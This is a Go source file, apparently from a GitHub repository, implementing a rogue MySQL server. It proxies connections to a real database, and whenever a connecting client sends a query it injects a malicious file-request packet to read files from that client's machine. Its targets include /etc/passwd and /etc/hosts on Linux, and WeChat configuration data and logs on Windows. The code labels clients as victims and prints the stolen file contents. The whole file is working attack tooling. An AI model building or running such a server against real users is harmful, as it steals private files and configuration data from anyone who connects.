-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.go
191 lines (173 loc) · 4.31 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
package main
import (
"bytes"
"crypto/rand"
"flag"
"fmt"
_ "github.com/go-sql-driver/mysql"
"log"
"net"
"strconv"
"strings"
)
// command line parameters
var port int
var password string
var username string
var dsn string
// record which file has been read by client.
// if /etc/passwd has been read from 192.168.0.1, fileBeenRead["192.168.0.1:/etc/passwd"] will be set to true
var fileBeenRead map[string]bool
func auth(conn net.Conn, salt []byte, body []byte) bool {
if password == "" {
return true
}
body = body[36:]
user := make([]byte, 0)
i := 0
for {
if body[i] != 0 {
user = append(user, body[i])
i++
} else {
break
}
}
hash := body[i+2 : i+22]
correctHash := GetNativePwdHash(password, salt)
if string(user) != username || bytes.Compare(hash, correctHash) != 0 {
addr := conn.RemoteAddr().String()
host := addr[:strings.LastIndex(addr, ":")]
errMsg := fmt.Sprintf("Access denied for user '%s'@'%s' (using password: YES)", string(user), host)
writeBody(conn, NewErrorPacket(1045, "28000", errMsg, 2))
return false
}
return true
}
func getFile(clientOS string, addr string) string {
linuxFileList := []string{
"/etc/passwd",
"/etc/hostname",
"/etc/hosts",
"/etc/issue",
}
windowsFileList := []string{
"C:\\Windows\\PFRO.log",
"C:\\Users\\Administrators\\Documents\\WeChat Files\\All Users\\config\\config.data",
}
var t []string
if clientOS == "windows" {
t = windowsFileList
} else {
t = linuxFileList
}
for _, f := range t {
key := addr + ":" + f
if fileBeenRead[key] {
continue
}
fileBeenRead[key] = true
return f
}
return ""
}
func handleConnection(conn net.Conn, mysqlConn net.Conn) {
//MySQL Greeting message
mysqlVersion := "5.7.39"
authenticationPlugin := "mysql_native_password"
victimAddr := conn.RemoteAddr().String()
// server greeting
salt := []byte("Vidar nb")
part2 := make([]byte, 12)
rand.Read(part2)
salt = append(salt, part2...)
writeBody(conn, NewGreetingPacket(mysqlVersion, authenticationPlugin, salt))
// client login
body := readOnePacket(conn)
if !auth(conn, salt, body) {
return
}
//clientOS := parseOS(body)
// login ok
writeBody(conn, addMysqlHeader([]byte("\x00\x00\x00\x02\x00\x00\x00"), 02))
buf := make([]byte, 4096)
for {
packet := readOnePacket(conn)
if len(packet) == 0 {
continue
}
// victim quited
if isQuitPacket(packet) {
conn.Close()
mysqlConn.Write(packet)
mysqlConn.Close()
log.Printf("%s client quited\n")
break
}
clientOS := parseOS(packet)
if isQueryPacket(packet) {
// insert evil packet to steal file
filename := getFile(clientOS, victimAddr)
evilPacket := buildEvilPackets(filename)
conn.Write(evilPacket)
// read file content
p := readOnePacket(conn)
fileContent := p[4:]
// TODO: save file here
log.Printf("read file %s from victim %s\n", filename, victimAddr)
fmt.Println(string(fileContent))
// send row query packet to backend mysql
mysqlConn.Write(packet)
n, _ := mysqlConn.Read(buf)
n, respPackets := parsePackets(buf[:n])
// correct sequence number and reassemble it
t := make([]byte, 0)
for i := 0; i < n; i++ {
respPackets[i][3] += 2 // sequence number += 2
t = append(t, respPackets[i]...)
}
conn.Write(t)
// drop 0x0 0x0 0x0 0x3
readOnePacket(conn)
} else {
// 无情的转发机器
mysqlConn.Write(packet)
n, _ := mysqlConn.Read(buf)
conn.Write(buf[:n])
}
}
}
func init() {
// init global map
fileBeenRead = make(map[string]bool)
//
flag.IntVar(&port, "p", 3306, "listen port")
flag.StringVar(&password, "P", "admin", "password for client login")
flag.StringVar(&username, "u", "root", "username for client login")
flag.StringVar(&dsn, "d", "", "dsn string for connecting mysql")
flag.Parse()
}
func main() {
addr := "0.0.0.0:" + strconv.Itoa(port)
server, err := net.Listen("tcp", addr)
if err != nil {
fmt.Printf("server failed, err:%v\n", err)
return
}
fmt.Printf("binding: %s\n", addr)
for {
var conn net.Conn
var mysqlConn net.Conn
conn, err = server.Accept()
if dsn != "" {
mysqlConn, _ = NewClient(dsn)
//mysqlConn, _ = net.Dial("tcp", "127.0.0.1:6033")
}
if err != nil {
fmt.Printf("accept failed, err:%v\n", err)
} else {
fmt.Printf("connection received from %s\n", conn.RemoteAddr().String())
}
go handleConnection(conn, mysqlConn)
}
}